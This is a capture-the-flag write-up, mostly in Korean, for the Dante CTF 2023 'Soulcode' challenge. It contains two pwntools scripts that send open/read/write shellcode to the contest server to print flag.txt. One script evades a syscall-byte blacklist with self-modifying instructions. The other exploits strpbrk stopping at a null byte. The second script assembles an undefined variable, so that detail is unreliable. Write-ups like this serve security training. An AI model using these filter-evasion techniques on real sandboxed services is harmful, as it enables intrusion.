Dante CTF 2023 - Soulcode (shellcode, syscall bypass)

Before you leave the realm of the dead you must leave a message for posterity!
Author: GB1
Medium
challs.dantectf.it:31532/tcp

  • [56 solves / 246 points]

Analysis

입력값 실행 -> 쉘코드 실행
seccomp 걸려 있음 -> flag.txt를 orw 해야함

입력값(쉘코드) blacklist: 0xcd, 0x80, 0x0f, 0x05, 0x89

안되는 어셈블리

  • \xcd\x80 : int 0x80
  • \x0f\x05 : syscall
  • pop, add 명령

Solve 1

\x0f\x05인 syscall을 우회하는 방식이다.

Solve Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./soulcode')
p = remote("challs.dantectf.it", 31532)

shellcode = '''
.global _start
.intel_syntax noprefix

_start:
mov rax, 2
lea rdi, [rip+flag]
xor rsi, rsi
xor rdx, rdx

inc byte ptr [rip + syscall1 + 1]
inc byte ptr [rip + syscall1]

syscall1:
.byte 0x0e
.byte 0x04

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100

inc byte ptr [rip + syscall2 + 1]
inc byte ptr [rip + syscall2]

syscall2:
.byte 0x0e
.byte 0x04

mov rdi, 0x1
mov rax, 0x1

inc byte ptr [rip + syscall3 + 1]
inc byte ptr [rip + syscall3]

syscall3:
.byte 0x0e
.byte 0x04

flag:
.string "flag.txt"
'''

shellcode1 = asm(shellcode)
print(repr(shellcode1))

# p = run_assembly(shellcode)

# pause()
p.sendlineafter('!', shellcode1)

p.interactive()

Solve 2

아래는 blacklist 필터링하는 함수이다.

1
2
3
4
5
6
7
8
9
10
11
12
char *__fastcall filter(const char *input)
{
char *result; // rax

result = strpbrk(input, &blacklist);
if ( result )
{
printf("Ops! Not allowed char detected");
exit(-1);
}
return result;
}

strpbrk 함수는 \x00까지만 검사하는데, 이는 쉘코드에 \x00이 있으면 그 전까지만 검사하고 뒤에는 검사를 우회할 수 있다는 의미이다. 그래서 굳이 syscall을 우회하지 않고 평범하게 풀어도 된다.

Solve Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./soulcode')
p = remote("challs.dantectf.it", 31532)

shellcode2 = '''
.global _start
.intel_syntax noprefix

_start:
mov rax, 2
lea rdi, [rip+flag]
xor rsi, rsi
xor rdx, rdx
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100
syscall

mov rdi, 0x1
mov rax, 0x1
syscall

flag:
.string "flag.txt"
'''

shellcode2 = asm(shellcode)
print(repr(shellcode2))

# p = run_assembly(shellcode)

# pause()
p.sendlineafter('!', shellcode2)

p.interactive()